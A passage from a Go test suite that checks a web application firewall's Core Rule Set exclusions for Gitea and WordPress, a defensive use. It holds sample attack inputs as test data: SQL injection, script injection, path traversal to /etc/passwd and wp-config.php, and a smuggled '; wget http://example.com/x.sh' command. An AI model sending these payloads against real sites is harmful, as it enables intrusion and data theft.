sent.target,
sent.name,
got,
)
}
}
}
func TestGiteaAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
// In q too, off gitea's search pages.
for _, parameter := range []string{"id", "q"} {
for _, attack := range []string{
sqlInjection,
"..%2Fcustom%2Fconf%2Fapp.ini",
scriptInjection,
} {
target := "/owner/repo?" + parameter + "=" + attack
if got := inspect(t, crs, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
}
// gitea has no owner named api, so these are not a repository's search,
// issues or pull requests. /api/v2/search is Mastodon's search.
for _, path := range []string{
"/api/v2/search",
"/api/v2/issues",
"/api/v2/pulls",
} {
for _, attack := range []string{
sqlInjection,
scriptInjection,
"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
} {
target := path + "?q=" + attack
if got := inspect(t, crs, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
// Nor is a page opened from them.
for _, attack := range []string{scriptTag, injection} {
referer := "Referer: https://example.com" + path + "?q=" + attack
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
t.Errorf("%s let through: %+v", referer, got)
}
}
}
}
func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(
t *testing.T,
) {
t.Parallel()
crs := atDefaults(t)
// The searches of a user's and of an organisation's repositories.
for _, target := range []string{
"/alice?tab=repositories&q=ls%20-la",
"/acme?q=ls%20-la&sort=recentupdate",
"/jane.doe?tab=repositories&q=ls%20-la",
} {
wantResult(t, crs, get(target), coreruleset.Result{})
}
// 932250 still applies on a path that ends in a server-side script's
// extension or holds a character no name holds, to another field, and on
// a path of two segments.
for _, target := range []string{
"/index.php?q=ls%20-la",
"/INDEX.PHP?q=ls%20-la",
"/index%2Ephp?q=ls%20-la",
"/search.cgi?q=ls%20-la",
"/login.jsp;jsessionid=abc?q=ls%20-la",
"/alice?tab=ls%20-la",
"/alice/tools?q=ls%20-la",
} {
wantResult(t, crs, get(target), matched(932250))
}
// A command after a ";" in q is still refused on each of these paths.
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, target := range []string{
"/alice?tab=repositories&q=",
"/index.php?q=",
"/wp-login.php?q=",
"/alice/tools?q=",
} {
if got := inspect(t, crs, get(target+commandInjection)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, commandInjection, got)
}
}
}
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
// REST API routes of a post and of the tags.
const (
wpLogin = "/wp-login.php"
wpComment = "/wp-comments-post.php"
wpAjax = "/wp-admin/admin-ajax.php"
wpPost = "/wp-json/wp/v2/posts/1"
wpTags = "/wp-json/wp/v2/tags"
)
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
})
}
// wordpressAttackTargets returns attack in a query parameter no exclusion
// names, and in each field whose searches and names skip some rules there.
func wordpressAttackTargets(attack string) []string {
return []string{
"/?id=" + attack,
wpLogin + "?id=" + attack,
"/wp-admin/admin-ajax.php?id=" + attack,
"/wp-json/wp/v2/posts?id=" + attack,
"/?s=" + attack,
"/index.php?s=" + attack,
"/page/2/?s=" + attack,
"/index.php/page/2/?s=" + attack,
"/wp-admin/edit.php?s=" + attack,
"/wp-admin/upload.php?s=" + attack,
"/wp-admin/plugin-install.php?s=" + attack,
"/wp-admin/edit-comments.php?s=" + attack,
"/wp-admin/users.php?s=" + attack,
"/wp-admin/plugins.php?s=" + attack,
"/wp-admin/edit-tags.php?s=" + attack,
"/wp-json/wp/v2/search?search=" + attack,
"/wp-json/wp/v2/posts?search=" + attack,
"/wp-json/wp/v2/tags?search=" + attack,
"/?rest_route=/wp/v2/search&search=" + attack,
"/wp-json/wp/v2/posts?slug=" + attack,
"/wp-json/wp/v2/tags?slug=" + attack,
"/?rest_route=/wp/v2/posts&slug=" + attack,
"/wp-json/wp/v2/block-directory/search?term=" + attack,
"/wp-admin/themes.php?search=" + attack,
"/wp-admin/theme-install.php?search=" + attack,
"/wp-admin/upload.php?search=" + attack,
"/wp-admin/admin-ajax.php?q=" + attack,
"/wp-admin/admin-ajax.php?term=" + attack,
"/wp-admin/edit.php?_wp_http_referer=" + attack,
"/wp-admin/upload.php?_wp_http_referer=" + attack,
"/?tag=" + attack,
"/index.php?tag=" + attack,
"/wp-admin/edit.php?tag=" + attack,
"/wp-admin/edit.php?category_name=" + attack,
"/wp-admin/plugin-editor.php?file=" + attack,
"/wp-admin/theme-editor.php?file=" + attack,
"/wp-admin/plugin-editor.php?plugin=" + attack,
"/wp-admin/plugins.php?plugin=" + attack,
"/wp-admin/update.php?plugin=" + attack,
"/wp-admin/admin.php?page=" + attack,
"/wp-admin/options-general.php?page=" + attack,
"/wp-admin/tools.php?page=" + attack,
"/wp-admin/site-editor.php?p=" + attack,
"/wp-admin/site-editor.php?postId=" + attack,
"/wp-admin/admin-ajax.php?slug=" + attack,
"/wp-json/wp-block-editor/v1/url-details?url=" + attack,
"/wp-json/oembed/1.0/proxy?url=" + attack,
"/?rest_route=/oembed/1.0/proxy&url=" + attack,
}
}
func TestWordPressAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
for _, attack := range []string{
sqlInjection,
"..%2F..%2Fwp-config.php",
scriptInjection,
} {
for _, target := range wordpressAttackTargets(attack) {
if got := inspect(t, defaults, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
// In a body field no exclusion names, on the paths with exclusions.
body := "id=" + attack
for _, target := range []string{
wpLogin,
wpComment,
wpAjax,
"/wp-admin/post.php",
"/wp-admin/options.php",
} {
got, _ := inspectBody(t, bodies,
request{http.MethodPost, target, []string{formData}}, body)
if got.Score < threshold {
t.Errorf("POST %s %q let through: %+v", target, body, got)
}
}
// In the body fields that skip some rules.
posts := append(wordpressBodyFields(attack),
wordpressBodyField{wpComment, formData, "url=" + attack})
for _, p := range posts {
got, _ := inspectBody(
t,
bodies,
request{
http.MethodPost,
p.target,
[]string{p.contentType},
},
p.body,
)
if got.Score < threshold {
t.Errorf(
"POST %s %q let through: %+v",
p.target,
p.body,
got,
)
}
}
}
}
// wordpressBodyField is a POST to target that sends body, a field whose
// name skips some rules there, with the Content-Type header contentType.
type wordpressBodyField struct{ target, contentType, body string }
// wordpressBodyFields returns encoded, a URL-encoded value, in a plugin to
// install and in each JSON field of a REST API save that skips some rules.
func wordpressBodyFields(encoded string) []wordpressBodyField {
value, _ := url.QueryUnescape(encoded)
return []wordpressBodyField{
{wpAjax, formData, "action=install-plugin&slug=" + encoded},
{wpPost, jsonBody, fmt.Sprintf(`{"title":%q}`, value)},
{wpPost, jsonBody, fmt.Sprintf(`{"excerpt":%q}`, value)},
{wpPost, jsonBody, fmt.Sprintf(`{"slug":%q}`, value)},
{wpTags, jsonBody, fmt.Sprintf(`{"name":%q}`, value)},
}
}
// wordpressWords returns words that ordinary WordPress names and searches
// hold, each with the rule it misfired on.
func wordpressWords() []struct {
value string
rule int
} {
return []struct {
value string
rule int
}{
{".htaccess", 930120},
{"powershell", 932120},
{"ls -la", 932250},
{"python3", 932260},
}
}
// wordpressBlock is the comment that starts every block of WordPress's
// HTML, which rule 941180 matches.
const wordpressBlock = "<!-- wp:paragraph -->"
// wordpressOverride is the header with which the block editor saves.
const wordpressOverride = "X-HTTP-Method-Override: PUT"
// wordpressRESTAddresses returns the four addresses of route on the REST
// API.
func wordpressRESTAddresses(route string) []string {
return []string{
"/wp-json" + route,
"/index.php/wp-json" + route,
"/index.php?rest_route=" + route,
"/?rest_route=" + route,
}
}
func TestWordPressExclusionsFollowEveryRESTAddress(t *testing.T) {
t.Parallel()
crs := readingBodiesUpTo64K(t)
content := `{"content":"` + wordpressBlock + `"}`
for _, route := range []string{
"/wp/v2/posts/1",
"/wp/v2/posts/1/autosaves",
"/wp/v2/pages/2",
"/wp/v2/templates/twentytwentyfive//index",
"/wp/v2/template-parts/twentytwentyfive//header",
} {
for _, address := range wordpressRESTAddresses(route) {
r := request{
http.MethodPost,
address,
[]string{jsonBody, wordpressOverride},
}
wantBody(t, crs, r, content, coreruleset.Result{}, content)
}
}
// The routes that save something else keep the rules.
for _, route := range []string{
"/wp/v2/comments", "/wp/v2/users/1", "/wp/v2/settings",
} {
for _, address := range wordpressRESTAddresses(route) {
r := request{http.MethodPost, address, []string{jsonBody}}
wantBody(t, crs, r, content, matched(941180), content)
}
}
// WordPress follows a route in the query over one in the path.
r := request{
http.MethodPost, "/wp-json/wp/v2/posts/1?rest_route=/wp/v2/comments",
[]string{jsonBody},
}
wantBody(t, crs, r, content, matched(941180), content)
}
func TestWordPressSearchesAndFileNamesAreExcludedOnlyThere(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
wantChange(
t,
crs,
get("/?s=python3"),
get("/wp-admin/options.php?id=python3"),
matched(932260),
)
wantChange(
t,
crs,
get("/?s=python3"),
get("/?q=python3"),
matched(932260),
)
wantChange(
t,
crs,
get("/index.php?s=ls+-la"),
get("/index.php?q=ls+-la"),
matched(932250),
)
wantChange(t, crs, get("/wp-json/wp/v2/search?search=powershell"),
get("/wp-json/example/v1/things?search=powershell"), matched(932120))
wantChange(
t,
crs,
get("/index.php?rest_route=/wp/v2/search&search=powershell"),
get(
"/index.php?rest_route=/example/v1/things&search=powershell",
),
matched(932120),
)
wantChange(
t,
crs,
get("/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php"),
get(
"/wp-admin/options.php?file=akismet%2Fviews%2Fconfig.php",
),
matched(930120),
)
wantChange(
t,
crs,
get("/wp-admin/theme-editor.php?file=docker-compose.yml"),
get(
"/wp-admin/theme-editor.php?id=docker-compose.yml",
),
matched(932260),
)
}
// TestWordPressGroupsSkipRulesOnTheirFields checks each field of the three
// groups in wordpress.conf at one target of its group, against the same
// values in a field no group names, then one field at each other target of
// the group.
func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) {
t.Parallel()
// A page's address, repeating the search it came from. Rules 932235
// and 932260 match it, and only the fields that hold an address skip
// 932235.
const pageAddress = "%2Fwp-admin%2Fedit.php%3Fs%3Dpython3"
crs := atDefaults(t)
for _, group := range []struct {
target string
fields []string
addressFields []string
}{
{
"/wp-admin/options.php?",
[]string{
"s", "search", "q", "term", "tag", "category_name", "plugin",
"checked%5B%5D", "theme", "stylesheet", "page",
},
[]string{"url", "return", "redirect_to", "wp_http_referer", "_wp_http_referer"},
},
{"/wp-json/wp/v2/tags?", []string{"search", "term", "slug", "url"}, nil},
{"/?", []string{"s", "tag"}, nil},
} {
target := group.target + "id=" + pageAddress
wantResult(t, crs, get(target), matched(932235, 932260))
for _, field := range group.fields {
target := group.target + field + "=" + pageAddress
wantResult(t, crs, get(target), matched(932235))
}
for _, field := range group.addressFields {
target := group.target + field + "=" + pageAddress
wantResult(t, crs, get(target), coreruleset.Result{})
}
allFields := slices.Concat(group.fields, group.addressFields)
for _, v := range wordpressWords() {
value := url.QueryEscape(v.value)
wantResult(
t,
crs,
get(group.target+"id="+value),
matched(v.rule),
)
for _, field := range allFields {
target := group.target + field + "=" + value
wantResult(t, crs, get(target), coreruleset.Result{})
}
}
}
for _, target := range []string{
"/wp-admin/term.php?s=python3",
wpLogin + "?s=python3",
"/index.php/wp-json/wp/v2/tags?slug=python3",
"/index.php?rest_route=/wp/v2/tags&slug=python3",
"/?rest_route=/wp/v2/tags&slug=python3",
"/wp-json/oembed/1.0/embed?url=python3",
"/?rest_route=/oembed/1.0/embed&url=python3",
"/index.php?tag=python3",
"/page/2/?tag=python3",
"/index.php/page/2/?s=python3",
} {
wantResult(t, crs, get(target), coreruleset.Result{})
}
}
// TestWordPressSlugFieldsSkipTwoRules checks the names in the first group
// of TestWordPressGroupsSkipRulesOnTheirFields that skip fewer rules. The
// names WordPress writes as slugs skip only 932120 and 932260.
func TestWordPressSlugFieldsSkipTwoRules(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, field := range []string{"p", "postId", "slug"} {
for _, v := range wordpressWords() {
want := coreruleset.Result{}
if v.rule == 930120 || v.rule == 932250 {
want = matched(v.rule)
}
value := url.QueryEscape(v.value)
target := "/wp-admin/options.php?" + field + "=" + value
wantResult(t, crs, get(target), want)
}
}
}
func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(
t *testing.T,
) {
t.Parallel()
const command = "%3B+wget+http%3A%2F%2Fexample.com%2Fx.sh"
crs := atDefaults(t)
for _, target := range []string{
"/?s=",
"/page/2/?s=",
"/wp-admin/edit.php?s=",
"/wp-json/wp/v2/search?search=",
"/wp-admin/themes.php?search=",
"/wp-json/wp/v2/posts?slug=",
"/?rest_route=/wp/v2/posts&slug=",
"/wp-json/wp/v2/tags?url=",
"/wp-json/oembed/1.0/embed?url=",
"/?tag=",
"/wp-admin/edit.php?tag=",
"/wp-admin/admin-ajax.php?q=",
"/wp-admin/admin.php?page=",
"/wp-admin/options-general.php?page=",
"/wp-admin/tools.php?page=",
"/wp-admin/site-editor.php?p=",
"/wp-admin/site-editor.php?postId=",
"/wp-admin/admin-ajax.php?slug=",
} {
wantResult(t, crs, get(target+command), matched(932235))
}
bodies := readingBodiesUpTo64K(t)
for _, p := range wordpressBodyFields(command) {
r := request{http.MethodPost, p.target, []string{p.contentType}}
wantBody(t, bodies, r, p.body, matched(932235), p.body)
}
// The addresses of a link preview, an embed and a commenter's site keep
// 932260 too.
for _, target := range []string{
"/wp-json/wp-block-editor/v1/url-details?url=",
"/wp-json/oembed/1.0/proxy?url=",
} {
wantResult(t, crs, get(target+command), matched(932235, 932260))
}
comment := request{http.MethodPost, wpComment, []string{formData}}
wantBody(
t,
bodies,
comment,
"url="+command,
matched(932235, 932260),
"url="+command,
)
}
// TestWordPressOtherFieldsAreExcludedOnlyThere checks each field and rule
// on one of its paths against the same value where no exclusion applies.
func TestWordPressOtherFieldsAreExcludedOnlyThere(t *testing.T) {
t.Parallel()
const elsewhere = "/example/things"
crs := atDefaults(t)
for _, tt := range []struct {
target string
rule int
}{
{"/page/2/?s=python3", 932260},
{"/page/2/?s=ls+-la", 932250},
{"/page/2/?s=powershell", 932120},
{"/index.php/page/2/?s=python3", 932260},
{"/?s=.htaccess", 930120},
{"/?s=wp-config.php", 930120},
{"/?s=.bashrc", 930120},
{"/page/2/?s=.htaccess", 930120},
{"/wp-admin/edit-comments.php?s=powershell", 932120},
{"/wp-admin/users.php?s=ls+-la", 932250},
{"/wp-admin/plugins.php?s=python3", 932260},
{"/wp-admin/edit-tags.php?s=python3", 932260},
{"/wp-admin/themes.php?search=powershell", 932120},
{"/wp-admin/theme-install.php?search=ls+-la", 932250},
{"/wp-admin/upload.php?search=python3", 932260},
{"/wp-admin/admin-ajax.php?q=powershell", 932120},
{"/wp-admin/admin-ajax.php?q=ls+-la", 932250},
{"/wp-admin/admin-ajax.php?q=python3", 932260},
{"/wp-admin/admin-ajax.php?term=powershell", 932120},
{"/wp-admin/admin-ajax.php?term=ls+-la", 932250},
{"/wp-admin/admin-ajax.php?term=python3", 932260},
{"/wp-admin/edit.php?_wp_http_referer=.htaccess", 930120},
{"/wp-admin/edit.php?_wp_http_referer=powershell", 932120},
{"/wp-admin/upload.php?_wp_http_referer=ls+-la", 932250},
{"/wp-admin/users.php?_wp_http_referer=python3", 932260},
{"/wp-admin/upload.php?_wp_http_referer=%2Fupload.php%3Fmode%3Dlist%26ps", 932340},
{"/?tag=python3", 932260},
{"/index.php?tag=powershell", 932120},
{"/wp-admin/edit.php?tag=ls+-la", 932250},
{"/wp-admin/edit.php?category_name=python3", 932260},
{"/wp-admin/edit.php?category_name=powershell", 932120},
{"/wp-admin/edit.php?category_name=ls+-la", 932250},
{"/wp-admin/plugin-editor.php?file=install-script.sh", 932120},
{"/wp-admin/theme-editor.php?file=document.write.js", 941180},
{"/wp-admin/plugin-editor.php?plugin=docker-helper", 932260},
{"/wp-admin/plugins.php?plugin=powershell-tools", 932120},
{"/wp-admin/update.php?plugin=docker-helper", 932260},
{"/wp-admin/admin.php?page=docker-helper", 932260},
{"/wp-admin/options-general.php?page=powershell-tools", 932120},
{"/wp-admin/tools.php?page=ls+-la", 932250},
{"/wp-admin/tools.php?page=.htaccess", 930120},
{"/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Findex", 932260},
{"/wp-admin/site-editor.php?postId=powershell-theme%2F%2Findex", 932120},
{"/wp-admin/admin-ajax.php?slug=docker-helper", 932260},
{"/wp-json/wp-block-editor/v1/url-details?url=" +
"http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", 932120},
{"/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2F.htaccess", 930120},
} {
_, query, _ := strings.Cut(tt.target, "?")
wantChange(
t,
crs,
get(tt.target),
get(elsewhere+"?"+query),
matched(tt.rule),
)
}
}
// TestWordPressRESTFieldsAreExcludedOnlyThere checks search, term, url and
// the header X-HTTP-Method-Override at the REST API's addresses.
func TestWordPressRESTFieldsAreExcludedOnlyThere(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
// Any route of WordPress's own API, at each address.
for _, route := range []string{
"/wp/v2/tags", "/wp/v2/categories", "/wp/v2/pages", "/wp/v2/media",
"/wp/v2/users", "/wp/v2/blocks", "/wp/v2/pattern-directory/patterns",
} {
wantChange(
t,
crs,
get("/wp-json"+route+"?search=python3"),
get(
"/wp-json/example/v1/things?search=python3",
),
matched(932260),
)
wantChange(
t,
crs,
get("/index.php?rest_route="+route+"&search=python3"),
get(
"/index.php?rest_route=/example/v1/things&search=python3",
),
matched(932260),
)
wantChange(
t,
crs,
get("/?rest_route="+route+"&search=.htaccess"),
get(
"/?rest_route=/example/v1/things&search=.htaccess",
),
matched(930120),
)
}
const directory = "/wp-json/wp/v2/block-directory/search"
wantChange(t, crs, get(directory+"?term=python3"),
get("/wp-json/example/v1/things?term=python3"), matched(932260))
wantChange(t, crs, get(directory+"?term=powershell"),
get("/wp-json/example/v1/things?term=powershell"), matched(932120))
wantChange(t, crs, get(directory+"?term=ls+-la"),
get("/wp-json/example/v1/things?term=ls+-la"), matched(932250))
// The block editor's link previews and embeds: url skips only 930120 and
// 932120.
for _, target := range []string{
"/wp-json/wp-block-editor/v1/url-details?url=",
"/?rest_route=/wp-block-editor/v1/url-details&url=",
"/wp-json/oembed/1.0/proxy?url=",
"/?rest_route=/oembed/1.0/proxy&url=",
} {
for _, v := range wordpressWords() {
want := coreruleset.Result{}
if v.rule == 932250 || v.rule == 932260 {
want = matched(v.rule)
}
wantResult(t, crs, get(target+url.QueryEscape(v.value)), want)
}
}
// The header X-HTTP-Method-Override at the address on the site root,
// and off the REST API.
headers := []string{jsonBody, "Content-Length: 2", wordpressOverride}
wantChange(t, crs,
request{http.MethodPost, "/?rest_route=/wp/v2/posts/1", headers},
request{http.MethodPost, "/?p=1", headers}, matched(920450))
}
func TestWordPressBodyFieldsAreCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
wantResult(t, crs, get(wpLogin+"?pwd=%2Fetc%2Fhosts"), matched(930120))
wantResult(t, crs, get(wpLogin+"?PWD=%2Fetc%2Fhosts"), matched(930120))
wantResult(
t,
crs,
get("/wp-admin/admin-ajax.php?content=ls+-la"),
matched(932250),
)
wantResult(
t,
crs,
get("/wp-admin/admin-ajax.php?newcontent=%3Cstyle%3E"),
matched(941100, 941160),
)
wantResult(
t,
crs,
get(
"/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape(
wordpressBlock,
),
),
matched(941180),
)
wantResult(
t,
crs,
get("/wp-json/wp/v2/posts/1?json.title=python3"),
matched(932260),
)
wantResult(
t,
crs,
get("/wp-comments-post.php?url=powershell"),
matched(932120),
)
}
// TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere checks the JSON
// fields of a REST API save, a plugin to install and a commenter's address,
// against the same values in another field and off their paths.
func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
t.Parallel()
crs := readingBodiesUpTo64K(t)
for _, v := range wordpressWords() {
for _, field := range []string{"title", "excerpt", "name"} {
body := fmt.Sprintf(`{%q:%q}`, field, v.value)
for _, address := range wordpressRESTAddresses("/wp/v2/posts/1") {
r := request{
http.MethodPost,
address,
[]string{jsonBody, wordpressOverride},
}
wantBody(t, crs, r, body, coreruleset.Result{}, body)
}
r := request{
http.MethodPost,
"/wp-json/example/v1/things",
[]string{jsonBody},
}
wantBody(t, crs, r, body, matched(v.rule), body)
}
other := fmt.Sprintf(`{"description":%q}`, v.value)
r := request{http.MethodPost, wpTags, []string{jsonBody}}
wantBody(t, crs, r, other, matched(v.rule), other)
}
// A post's slug and a plugin to install skip only 932120 and 932260.
post := request{
http.MethodPost,
wpPost,
[]string{jsonBody, wordpressOverride},
}
install := request{http.MethodPost, wpAjax, []string{formData}}
for _, v := range wordpressWords() {
want := coreruleset.Result{}
if v.rule == 930120 || v.rule == 932250 {
want = matched(v.rule)
}
slug := fmt.Sprintf(`{"slug":%q}`, v.value)
wantBody(t, crs, post, slug, want, slug)
plugin := "action=install-plugin&slug=" + url.QueryEscape(v.value)
wantBody(t, crs, install, plugin, want, plugin)
}
comment := request{http.MethodPost, wpComment, []string{formData}}
elsewhere := request{
http.MethodPost,
"/example/things",
[]string{formData},
}
// A commenter's address skips the two rules that refused an address.
for _, v := range []struct {
address string
rule int
}{
{"http://blog.example/.htaccess", 930120},
{"http://blog.example/powershell-basics/", 932120},
} {
body := "url=" + url.QueryEscape(v.address)
wantBody(t, crs, comment, body, coreruleset.Result{}, body)
wantBody(t, crs, elsewhere, body, matched(v.rule), body)
author := "author=" + url.QueryEscape(v.address)
wantBody(t, crs, comment, author, matched(v.rule), author)
}
// The rules on Unix commands keep it.
wantBody(t, crs, comment, "url=python3", matched(932260), "url=python3")
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
}
func TestWordPressPasswordsPass(t *testing.T) {
t.Parallel()
signIn := request{http.MethodPost, wpLogin, []string{formData}}
wantRandomPasswordsPass(t, signIn, "pwd")
wantPasswordAttacksPass(t, signIn, "pwd")
wantPasswordAttacksRefused(t, signIn, "pwd")
}
func TestWordPressPasswordFieldsPass(t *testing.T) {
t.Parallel()
pass := []string{"pass1", "pass2"}
wantPasswordFieldsPass(t, []passwordFields{
{wpLogin + "?action=resetpass", formData, pass},
{wpLogin + "?action=postpass", formData, []string{"post_password"}},
{"/wp-admin/profile.php", formData, pass},
{"/wp-admin/user-edit.php?user_id=2", formData, pass},
{"/wp-admin/user-new.php", formData, pass},
{"/wp-admin/network/user-edit.php?user_id=2", formData, pass},
{"/wp-admin/network/profile.php", formData, pass},
{"/wp-admin/user/profile.php", formData, pass},
{"/wp-json/wp/v2/users", jsonBody, []string{passwordKey}},
{"/wp-json/wp/v2/users/me", formData, []string{passwordKey}},
{
"/index.php?rest_route=/wp/v2/users/2",
jsonBody,
[]string{passwordKey},
},
})
}
func TestWordPressExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const (
offREST = "/api/posts/1"
length = "Content-Length: 2"
)
crs := readingBodiesUpTo64K(t)
saving := request{
http.MethodPost,
wpPost,
[]string{jsonBody, wordpressOverride},
}
content := `{"content":"` + wordpressBlock + `"}`
wantBody(t, crs, saving, content, coreruleset.Result{}, content)
// The other fields of the post keep the rule, and so does the same field
// off the REST API.
title := `{"title":"` + wordpressBlock + `"}`
wantBody(t, crs, saving, title, matched(941180), title)
wantBody(
t,
crs,
request{http.MethodPost, offREST, []string{jsonBody}},
content,
matched(941180),
content,
)
// The header X-HTTP-Method-Override is refused off the REST API.
defaults := atDefaults(t)
wantResult(
t,
defaults,
request{
http.MethodPost,
wpPost,
[]string{jsonBody, length, wordpressOverride},
},
coreruleset.Result{},
)
wantResult(
t,
defaults,
request{
http.MethodPost,
offREST,
[]string{jsonBody, length, wordpressOverride},
},
matched(920450),
)
// Signing in: pwd alone skips the list of system files.
signIn := request{http.MethodPost, wpLogin, []string{formData}}
body := "log=a&pwd=b%20%2Fetc%2Fhosts"
wantBody(t, crs, signIn, body, coreruleset.Result{}, body)
body = "log=b%20%2Fetc%2Fhosts&pwd=a"
wantBody(t, crs, signIn, body, matched(930120), body)
}
// bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies.
const bodyLimit = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads.
const (
formData = "Content-Type: application/x-www-form-urlencoded"
multipart = "Content-Type: multipart/form-data; boundary=b"
jsonBody = "Content-Type: application/json"
xmlBody = "Content-Type: application/xml"
)
// injection is an SQL injection, which rule 942100 matches.
const injection = "1' OR '1'='1"
// scriptTag is a script injection, not escaped.
const scriptTag = "<script>alert(1)</script>"
// pathTraversal is a path traversal, not escaped.
const pathTraversal = "../../etc/passwd"
// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})
}
// post is a POST request for / with a body of the type contentType, a
// Content-Type header, gives, and headers besides.
func post(contentType string, headers ...string) request {
return request{
http.MethodPost,
"/",
append([]string{contentType}, headers...),
}
}
// field is a part of a multipart body: the field name, holding value.
func field(name, value string) string {
return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" +
value + "\r\n"
}
// end ends a multipart body.
const end = "--b--\r\n"
// padded returns head and tail with as many a's between them as make n
// bytes in all.
func padded(head, tail string, n int) string {
return head + strings.Repeat("a", n-len(head)-len(tail)) + tail
}
// wantBody checks what crs finds in r with body, and that what it read of
// body is read.
func wantBody(
t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
want coreruleset.Result,
read string,
) {
t.Helper()
got, gotRead := inspectBody(t, crs, r, body)
if !reflect.DeepEqual(got, want) || gotRead != read {
t.Errorf(
"%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+
"want %+v, reading %d",
r.headers,
len(body),
body,
got,
len(gotRead),
want,
len(read),
)
}
}
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
t.Parallel()
off, on := atDefaults(t), readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "q=" + url.QueryEscape(injection)},
{multipart, field("q", injection) + end},
{jsonBody, `{"q":"` + injection + `"}`},
{xmlBody, "<q>" + injection + "</q>"},
} {
wantBody(t, off, post(tc.header), tc.body, coreruleset.Result{}, "")
wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
}
}
func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
pad := strings.Repeat("a", bodyLimit)
for _, tc := range []struct{ header, attackFirst, attackLast string }{
{
formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad,
"pad=" + pad + "&q=" + url.QueryEscape(injection),
},
{
multipart, field("q", injection) + field("pad", pad) + end,
field("pad", pad) + field("q", injection) + end,
},
} {
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
tc.attackFirst[:bodyLimit+1])
wantBody(
t,
crs,
post(tc.header),
tc.attackLast,
coreruleset.Result{},
tc.attackLast[:bodyLimit+1],
)
}
// To the byte: a system file's path is found when it ends at the limit,
// and not when its last letter is past it, which is still read.
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
wantBody(
t,
crs,
post(formData),
atLimit,
matched(930120, 932160),
atLimit,
)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
wantBody(
t,
crs,
post(formData),
pastLimit,
coreruleset.Result{},
pastLimit,
)
}
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ header, head, tail string }{
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
} {
fits := padded(tc.head, tc.tail, bodyLimit)
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
larger := padded(tc.head, tc.tail, bodyLimit+1)
wantBody(
t,
crs,
post(tc.header),
larger,
coreruleset.Result{},
larger,
)
}
}
func TestOtherBodiesAreNotRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// Read as form data, which the Core Rule Set does with a body of a type
// it does not know, this would be an SQL injection.
body := "q=" + url.QueryEscape(injection)
for _, header := range []string{
"Content-Type: application/octet-stream",
"Content-Type: text/plain",
"Content-Type: application/x-git-receive-pack-request",
} {
wantBody(t, crs, post(header), body, coreruleset.Result{}, "")
}
}
func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
t *testing.T,
) {
t.Parallel()
const gzip = "Content-Encoding: gzip"
crs := readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "a=1"},
{multipart, field("a", "1") + end},
{jsonBody, `{"a":1}`},
{xmlBody, "<a>1</a>"},
} {
wantBody(
t,
crs,
post(tc.header, gzip),
tc.body,
matched(920450),
tc.body,
)
}
// Whatever its size: a JSON body larger than the limit is not read, but
// Content-Encoding on it is refused all the same.
larger := strings.Repeat("a", bodyLimit+1)
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
// It is allowed on a body of any other kind, and on every body while no
// body is read.
fetch := "Content-Type: application/x-git-upload-pack-request"
